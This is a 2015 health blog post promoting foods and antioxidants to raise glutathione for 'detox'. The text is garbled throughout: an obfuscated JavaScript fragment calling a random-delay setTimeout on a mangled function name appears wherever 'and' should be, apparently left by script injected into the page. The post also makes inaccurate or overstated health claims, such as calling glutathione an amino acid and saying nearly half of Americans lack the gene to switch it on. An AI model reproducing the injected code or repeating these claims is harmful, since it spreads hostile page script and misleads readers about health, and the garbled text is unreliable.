Turn On Your Body’s Natural Detoxifying Power

Posted On : May 06, 2015

If you attended our Gut Talk on Monday night, hopefully you got the big idea that toxins are quickly destroying our health. One of the best ways to protect yourself against the toxic load our bodies are now undergoing, is to increase your levels of glutathione.

What is glutathione? Our bodies are designed perfectly. We are equipped with many mechanisms to heal us. One of those mechanisms is the production of glutathione. Glutathione is an amino acid that acts like sticky fly paper andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and attaches to all the unfamiliar toxins in the bloodstream andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and gets them out of you. You need to have an adequate amount of glutathione to properly detoxify.

So how can you raise your glutathione levels? One of the challenges is that nearly half of Americans are missing the gene to switch glutathione on. Here are some easy steps you can incorporate to make the most of the levels you have:

detoxEat More Glutathione Rich Produce Certain foods have high amounts of this amazing detoxifier. Foods like avocados, asparagus, spinach, squash, melons, grapefruit, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and peaches are very high in glutathione. Be sure to incorporate one or more of these foods on a daily basis. Keeping them raw andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and not cooking them, will maximize their glutathione levels.

Eat More Eggs Eggs have been vilified for many years due to the misconception that they raise your cholesterol levels. Research is now proving this to be wrong. Eggs are one of the healthiest foods you can eat. One reason why is that they are high in sulfur. Your liver needs sulfur to detoxify properly. Sulfur is also key to activating glutathione andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and giving it its sticky properties. If you have been shying away from eggs, it’s time to add them back in.

Eat More Cruciferous Vegetables Broccoli, cauliflower, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cabbage contain cyanohydroxybutene, a chemical compound that helps increase the body’s glutathione levels. They also powerfully aid the liver in its detox duties by trapping toxins andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and escorting them out of the body.

Power Up Your Antioxidants The more antioxidants your body has on board, particularly C andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and E, the less your body needs to rely purely on its glutathione reserves. Vitamin C is glutathione’s chief crime-fighting cohort. The two work in tandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andem to rid the body of water soluble toxins. Strawberries, bell peppers, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mangoes are all very high in vitamin C. Studies are showing that people with high levels of vitamin C also have high levels of glutathione. Vitamin E is another antioxidant you want to load up on. Spinach, kale, broccoli, sunflower seeds, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and nuts, like almonds andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and hazelnuts, are packed with vitamin E.
